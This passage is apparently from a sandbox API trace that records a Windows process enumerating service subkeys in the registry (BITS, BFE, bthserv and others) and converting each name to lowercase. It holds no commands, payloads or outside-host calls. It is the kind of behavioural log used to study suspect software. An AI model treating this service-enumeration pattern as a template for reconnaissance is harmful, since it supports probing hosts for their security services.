lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0184.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.505] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0184.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0184.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.505] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0184.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.505] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.505] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0184.505] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0184.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0184.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.506] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0184.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0184.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f18e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0184.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.506] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0184.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0184.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0184.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.506] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0184.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.506] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0184.506] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.506] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.507] RegEnumKeyW (in: hKey=0x140, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0184.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0184.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0184.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.507] RegEnumKeyW (in: hKey=0x140, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0184.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0184.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.507] RegEnumKeyW (in: hKey=0x140, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0184.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0184.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.507] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.507] RegEnumKeyW (in: hKey=0x140, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0184.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.507] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.507] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0184.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.508] RegEnumKeyW (in: hKey=0x140, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0184.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0184.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.508] RegEnumKeyW (in: hKey=0x140, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0184.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0184.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.508] RegEnumKeyW (in: hKey=0x140, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0184.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.508] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0184.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.508] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.508] RegEnumKeyW (in: hKey=0x140, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0184.508] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0184.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.509] RegEnumKeyW (in: hKey=0x140, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0184.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0184.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0184.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.509] RegEnumKeyW (in: hKey=0x140, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0184.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0184.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.509] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0184.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0184.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a90, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0184.509] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.509] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.510] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0184.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0184.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0184.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.510] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0184.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0184.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0184.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a90, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0184.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0184.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0184.510] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2da0) returned 1 [0184.510] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0184.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0184.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0184.510] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0184.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0184.510] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0184.510] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0184.510] RegEnumKeyW (in: hKey=0x140, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0184.510] RegEnumKeyW (in: hKey=0x140, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0184.511] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: 